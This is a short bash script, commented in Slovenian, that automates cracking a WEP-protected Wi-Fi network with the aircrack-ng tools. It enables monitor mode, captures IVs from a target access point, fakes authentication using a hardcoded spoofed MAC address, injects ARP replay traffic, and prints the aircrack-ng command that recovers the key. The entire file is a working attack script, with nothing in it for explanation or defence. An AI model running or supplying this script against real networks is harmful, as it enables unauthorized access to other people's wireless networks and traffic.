airmon-ng stop ath0;
echo "End stop ath0";

airmon-ng start wifi0;
echo "Start: mode monitor";

echo "START LISTENING...";
konsole -e airodump-ng ath0 &
echo -e "KONEC in pocil je LONEC! \n"

echo -n "Enter WLAN dir name: "
read dir

echo -n "Enter ESSID: "
read essid

echo -n "Enter chanel: "
read chanel

echo -n "Enter bssid: "
read bssid

echo -n "Close console from where you COPY/PASTE data (essid, bssid, ...)\n then hit ENTER!"
read blabla

mkdir $dir
cd $dir

iwconfig ath0 channel $chanel

#shrani IV
konsole -e airodump-ng -c $chanel --bssid $bssid -w output --ivs ath0 &

#avtentikacija
aireplay-ng -1 0 -e "$essid" -a $bssid -h 00-15-AF-78-F0-59 ath0

#injekcija
konsole -e aireplay-ng -3 -b $bssid -h 00-15-AF-78-F0-59 ath0 &

#iskanje kljuca
echo -e "\n\nCOPY / PASTE\n"
echo "aircrack-ng -z -b $bssid $dir/output-0*.ivs"


echo -e "\n---------------------------\n"
echo "OK: mkdir $dir"
echo "bssid: $bssid"

